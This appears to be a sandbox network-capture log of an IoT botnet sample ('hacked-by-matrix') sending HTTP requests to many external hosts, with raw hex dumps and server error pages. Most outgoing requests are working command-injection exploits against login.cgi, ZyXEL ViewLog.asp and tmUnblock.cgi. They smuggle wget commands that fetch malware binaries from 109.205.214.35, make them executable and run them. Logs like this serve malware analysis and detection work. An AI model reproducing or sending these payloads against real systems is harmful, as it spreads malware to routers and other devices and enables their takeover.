Mar 21, 2024 05:23:09.446696043 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:23:09.446779966 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 21, 2024 05:23:09.446851015 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:23:09.446913958 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:23:09.447016001 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to inn.innovatechdesigns.org's <a href="mailto:mike@q
Mar 21, 2024 05:23:09.447072983 CET	547	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 3e 0a 20 20 20 20 20 Data Ascii: </div> </div> </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral"

Session ID	Source IP	Source Port	Destination IP	Destination Port
1060	192.168.2.14	35980	18.198.177.153	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.214948893 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:09.385819912 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:23:09 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1061	192.168.2.14	40604	206.210.101.205	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.416956902 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1062	192.168.2.14	36460	184.174.35.231	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.638186932 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1063	192.168.2.14	44262	82.180.174.161	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.454045057 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:11.263322115 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:11.415611029 CET	1286	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html last-modified: Fri, 29 Apr 2022 18:50:20 GMT etag: "999-626c336c-4cf8b6d97c5b6806;gz" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding content-length: 1159 date: Thu, 21 Mar 2024 04:23:11 GMT server: LiteSpeed platform: hostinger Data Raw: 1f 8b 08 00 00 00 00 00 00 03 85 56 6d 8f db 36 0c fe 9e 5f a1 ba 1f 92 6c b6 e5 dc f5 35 b1 b3 f5 75 18 b0 f5 06 f4 0a 74 b8 1d 06 46 62 6c f6 64 c9 95 94 4b b2 5e ff fb 20 3b 6f f7 92 cd 80 62 8b 7c 48 51 0f 45 2a f9 a3 b7 67 6f ce ff fc e3 1d ab 7c ad a6 bd 3c bc 98 02 5d 16 11 ea 64 e1 22 d6 58 9c d3 aa 88 84 d1 1e b5 1f b3 ca fb 66 cc 79 b3 b0 2a 35 b6 e4 d6 39 3e 4a 33 5e 1b b9 50 e8 f8 06 c8 99 14 f7 c1 52 70 8f b6 76 9c cd 0d cc 77 fa 55 ad b4 4b 85 a9 79 10 f3 2c 1d 71 66 ca 9d da 94 4d 5a 23 d7 ee 31 b3 72 ee 76 f2 e5 72 99 2e 4f 5b c7 27 59 96 f1 6c c4 ad 9c 27 4e 54 58 c3 63 e6 c8 ec 43 08 86 2d 32 48 5b 57 e1 c3 1f d1 fb 75 83 01 72 65 8e ad f6 84 67 27 3c e8 b9 30 16 1f b3 95 93 47 90 23 fe f9 f7 df 3e 76 31 45 d3 5e 2f af 10 e4 b4 c7 18 63 79 8d 1e 5a ab 04 bf 2e e8 ba 88 de 74 ec 25 e7 eb 06 23 b6 e1 b2 88 3c ae 3c 0f c9 99 30 51 81 75 e8 8b 4f e7 ef 93 17 d1 c6 8f f3 6b 85 2c 44 bd c1 0a e7 36 ba f0 fc bc 31 62 51 67 35 d9 69 2e 74 f9 d7 58 28 03 57 97 f1 a1 30 b9 27 93 e0 21 79 48 b1 7a 48 9a 6e 65 07 a2 3d f0 36 ae 22 89 63 6d fc 60 3b 49 40 53 0d 1e 87 ec db 0e 18 1e 49 ae 51 b0 1e 33 6d 34 b2 47 54 37 c6 7a d0 7e bf 9d ef bd dd 67 d8 d8 dc d8 fa 98 8f 99 32 e2 ea 41 cb 10 c6 26 82 c4 55 74 d7 c3 35 39 9a 91 22 bf 1e b3 8a a4 44 fd 1f 5e 44 65 ec 1d fb c6 38 f2 64 f4 98 c1 cc 19 b5 f0 78 68 df a6 93 b7 f9 3c 76 46 3e 27 9f 5e 25 6f 4c dd 80 a7 99 3a 3c 26 bf be 2b 50 96 18 1d 5a 6a a8 b1 88 ae 09 97 81 ad 03 f0 92 a4 af 0a 89 d7 24 30 69 27 31 23 4d 9e 40 25 4e 80 c2 62 b4 75 e4 c9 2b 9c 9e 99 c6 c5 cc 99 1a 7d 45 ba 64 ca 38 9f f3 4e 77 6f 41 89 4e 58 6a c2 46 0f d6 ec 5c 28 63 ae 1c 53 74 85 cc 57 c8 1a 28 91 91 6b fd a5 ec a3 07 eb d9 da 2c 2c 5b e2 cc 91 47 66 74 8b 13 15 42 93 6e 63 52 a4 af 58 8d 92 a0 88 40 a9 88 59 54 45 d4 12 e7 2a 44 1f b1 ca e2 bc 88 78 e5 a5 11 ee 6f b4 d6 d8 8e d8 74 5f 1d 9d 9b 23 a6 81 74 37 e6 bc 86 95 90 3a 9d 19 e3 9d b7 d0 84 49 68 56 3b 01 3f 4d 4f d3 e7 a1 e8 f6 b2 b4 26 7d 6f a1 db 7e e7 46 7b 97 96 c6 94 0a a1 a1 ae 03 0a e7 7e 9a 43 4d 6a 5d 9c 35 a8 7f fc 08 da 8d 4f b3 2c 3e cd 32 8a 9f 64 59 18 14 3f cb b2 30 28 7e 9e 65 61 50 fc 22 cb c2 a0 fb 4c 4c 7b 9b 2e d1 66 64 df 16 06 f3 85 16 21 43 03 8a 5d 6c e2 32 b6 31 c4 f5 f0 1b 5d f4 7f 69 a3 7a a5 41 ad 3d 09 77 36 fb 82 c2 f7 2f 0b 3b a1 0b 7b 59 84 9f 9b 9b 9d fd f0 f6 11 6f 9d 07 48 fa b5 e8 5e 37 37 17 97 c3 b4 59 b8 6a 00 b6 5c d4 a8 bd 1b 7e 8f 5b a5 2a 46 3f 68 5c b2 b7 e0 71 30 9c 40 e1 52 61 11 3c be 53 18 80 03 33 8c 6f b9 af 0b 97 96 e8 37 6a f7 7a 7d 0e e5 07 a8 71 60 86 17 d9 e5 04 52 70 6b 2d 8a d1 04 52 67 45 51 4e ea b4 01 8b da 7f 30 12 53 d2 0e ad 7f 8d 73 63 71 10 b6 bb af be e1 60 49 5a 9a 65 2c 8d 68 63 8c fb 1d 67 fd b8 bf 4d 5a 68 ee 5d ca 12 d8 b2 Data Ascii: Vm6_l5utFbldK^ ;ob\|HQEgo\|<]d"Xfy59>J3^PRpvwUKy,qfMZ#1rvr.O['Yl'NTXcC-2H[Wureg'<0G#>v1E^/cyZ.t%#<<0QuOk,D61bQg5i.tX(W0'!yHzHne=6"cm`;I@SIQ3m4GT7z~g2A&Ut59"D^De8dxh<vF>'^%oL:<&+PZj$0i'1#M@%Nbu+}Ed8NwoANXjF\(cStW(k,,[GftBncRX@YTEDxot_#t7:IhV;?MO&}o~F{~CMj]5O,>2dY?0(~eaP"LL{.fd!C]l21]izA=w6/;{YoH^77Yj\~[F?h\q0@Ra<S3o7jz}q`Rpk-RgEQN0Sscq`IZe,hcgMZh]
Mar 21, 2024 05:23:11.415626049 CET	260	IN	Data Raw: d3 26 6e 3f fb e2 fa 71 bf 84 fe 70 b2 6f 07 25 0c fa dd ae fa 31 eb 7f 7a 95 9c 3c 7b fa fc e9 cb 17 2f 93 27 cf 82 04 16 de 04 83 43 bc 43 2d 83 2e 14 48 28 e0 9d c3 9c 6f 53 99 f3 ee 36 e9 e5 33 23 d7 db 44 4b ba 66 42 81 73 45 d4 1e fb 88 91 Data Ascii: &n?qpo%1z<{/'CC-.H(oS63#DKfBsE~NoQyU.!jje4.Y{6me4$b%m I[.X]Mao1BK6Nbpk&h,yE.,gP>f_3 XxF-3d44<rI{fMr
Mar 21, 2024 05:23:11.415841103 CET	1020	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 769 date: Thu, 21 Mar 2024 04:23:11 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1064	192.168.2.14	48118	178.238.235.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.499794960 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:10.697946072 CET	710	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 21 Mar 2024 04:23:10 GMT Server: Content-Length: 527 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 6f 6f 74 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at root@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1065	192.168.2.14	52260	213.5.146.92	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.500066042 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:10.698406935 CET	313	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1066	192.168.2.14	52338	172.65.42.24	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.739392996 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1067	192.168.2.14	33866	172.65.21.187	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:10.740345955 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1068	192.168.2.14	48558	172.67.235.99	8080

Timestamp	Bytes transferred	Direction	Data
